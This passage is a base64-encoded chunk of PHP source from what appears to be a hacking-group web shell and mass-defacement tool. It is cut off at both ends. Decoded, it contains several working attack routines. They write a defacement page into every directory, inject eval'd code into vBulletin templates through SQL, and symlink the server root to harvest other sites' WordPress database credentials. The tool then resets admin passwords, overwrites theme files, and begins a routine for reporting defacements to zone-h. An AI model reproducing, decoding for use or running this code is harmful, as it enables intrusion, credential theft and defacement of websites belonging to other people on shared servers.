+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0